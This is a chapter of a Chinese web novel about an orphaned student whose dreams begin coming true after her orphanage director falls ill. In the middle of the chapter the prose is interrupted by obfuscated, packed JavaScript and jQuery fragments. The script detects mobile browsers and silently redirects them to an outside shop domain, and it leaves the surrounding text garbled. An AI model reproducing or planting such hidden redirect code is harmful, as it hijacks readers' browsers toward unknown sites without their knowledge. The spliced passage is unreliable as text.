笔记本摊开在书桌上。
温言拧开台灯，光落在纸页上，映出那些她写了很久的字。第一页的日期是2022年7月15日，字迹工整，横平竖直，郑重其事。
「我会在二十四岁死掉。凄惨地，孤零零的。」
她面无表情地看着那行字，每个字的落笔都不太流畅，像是握笔人的心慌。
「事情是什么时候开始不对劲的呢。」
「2022年7月15日。」
温言睫毛轻颤，居然已经是3年前的事情了。
那天的阳光好得不真实，知了在树上叫得声嘶力竭。温言从孤儿院门口一路跑进来，手里欢快地扬着A大的录取通知书。
她在阳光孤儿院里住了十八年。林院长、掉了漆的铁架床、院子里那棵一到夏天就往下掉虫子的老槐树，和一群叫她“言言姐”的弟弟妹妹，孤儿院里的一切构成了她人生的十八年。不知道父母是谁，不知道被遗弃的原因，她就这样在这间不大的院子里长大了，长成了成绩单上永远排第一的温言，长成了所有弟弟妹妹心里无所不能的言言姐。
“院长！我考上了！全额奖学金！”
林院长正在浇花，闻言转过身来，脸上的皱纹被笑意挤成深深浅浅的沟壑。水壶还拎在手里，水从壶嘴里断断续续地滴下来，落在磨得发亮的青砖地面上。
“好孩子！我就知道——”
话音未落，她的眉头忽然拧起来，手捂住了腹部，手指蜷曲，指节泛白。水壶从她另一只手里滑落，掉在院长倒下时扬起的灰尘里。
——————————
医院走廊的灯管白得发冷，温言坐在长椅上，医生的声音又回荡在脑海里。
“胰腺神经内分泌肿瘤。G1期。罕见，但惰性，发展慢。需要长期规范治疗，费用不菲。早发现是万幸。”
能治，可以治，但特别贵。
林院长靠在病床上，脸色比床单还白。她伸过手来，掌心干燥而温热，覆在温言冰凉的手背上。
“小言啊，别担心院长。这都是命……”
温言的眼眶红了：“院长，您别说这些，我会想办法的——”
“唉。”林院长没来由地叹了口气，话锋忽然一转，“到头了我才觉得，女人这一生啊，终究得找个依靠。不然发生什么都是孤零零一个人扛。”
温言愣住了。
这不是院长会说的话。林院长对每一个孩子说的都是“人要靠自己”，她丈夫早逝，一个人撑着这间孤儿院，撑了二十年，从没在任何人面前弯过腰。可现在她靠在枕头上，目光像一潭死水。
她仿佛完全没有察觉自己说了什么，只是继续说了下去。
“尤其是遇到那种家世好、对你又执着的男孩子，别扭捏。有时候，缘分来了，挡不住的。”
阳光从病房窗帘的缝隙里漏进来，把林院长的侧脸切成明暗两半，温言把那只冰凉的手翻过来，回握住院长的掌心。
生病，让人变脆弱了吗？她这样想，没有追问。
——————————
但后来，她开始频繁地做噩梦。
在图书馆里，周围围满了人，有人指着她说“就是她，小偷”。她张嘴想辩解，但喉咙像被一只无形的手掐住了，一个字都发不出来。梦里的灯光惨白，所有的人脸都是模糊的，只有那些指责的声音清晰地穿透她的耳膜。
她梦到有人扇她巴掌，一只保养得当的手，美甲精致，掌心落在脸颊上，她却没有反抗的勇气，战栗感从皮肤表层一路渗进骨髓里。
又梦见灵堂。白布，白花，白蜡烛，黑白照片依旧看不清，有人按着她的后脑勺把她压在地上，膝盖磕在冰冷的大理石地面上，她抖得厉害。
她一次又一次惊醒，睡衣湿透了贴在后背，她坐起来，按下狂跳的心脏安慰自己：只是梦。还好只是梦。
直到那天。
日记本上，她清清楚楚地记下——
「2022年3月17日，阴。」
「昨天那个人突然过来，把酒泼在前辈脸上，然后攥住我的手腕把我拉到露台上。」
「我和前辈道了歉，和老师道了歉，忙活了一个下午。」
「然后晚上，我做梦了。」
——————————<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509345|202930||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>所有的梦境，都清晰了。
那些模糊的脸忽然都有了五官。图书馆里皱眉看着她的人是祝行野，灵堂里说“你害死了我哥”的人也是祝行野；扇她巴掌的人是盛昭阳，按住她的头要她下跪的人也是盛昭阳。
每一个细节都严丝合缝地对上了，她苍白着脸，想安慰自己这只是梦，只是把现实中见过的人脸投射进了梦境的素材。但这种安慰已经失效了。
她能感觉到，有什么东西正在从她脚下那片看似坚实的土地里生长出来。
冰凉地、缓慢地，缠上了她的脚踝。
一切开始不对劲了。
——————————
「2023年4月1日」
我梦到我在咖啡馆兼职，怎么可能呢，我的家教工资一直都很稳定。
——————————
她从未在咖啡馆工作过，但那场梦很逼真：咖啡机的蒸汽棒发出嘶嘶的声响，牛奶在钢杯里打着旋升温，咖啡豆被研磨时散出的焦香......
太荒诞了。
她在梦里对自己说。
第二天她就看到，校内那家“时光咖啡馆”的店门口贴着招聘启事。
只是巧合。
巧合。
电话就是在这时响起来的。
第一个电话。家教的那家家长，声音急匆匆的。
“温同学，孩子他爸突然调职，我们下周就搬去外地了。之前的家教费用还有没结清的吗？”
她在手机备忘录里翻找了很久，确认费用已经结清。挂断电话之后她站在宿舍走廊里一动不动，屏住呼吸，祈祷着不要有什么事情发生，然后第二个电话急促地响起。
林院长的电话，但电话那头是孩子们带着哭腔的、七嘴八舌的声音。
“言言姐，院长她突然晕倒了——我们在送她去医院的路上——”
她攥着手机一动不动。
那张招聘启事就在她斜前方不到半米的墙上，白纸黑字。
是巧合——她还想这样告诉自己。
但她怎么相信呢？她已经被那张白纸黑字一口一口地吞了进去。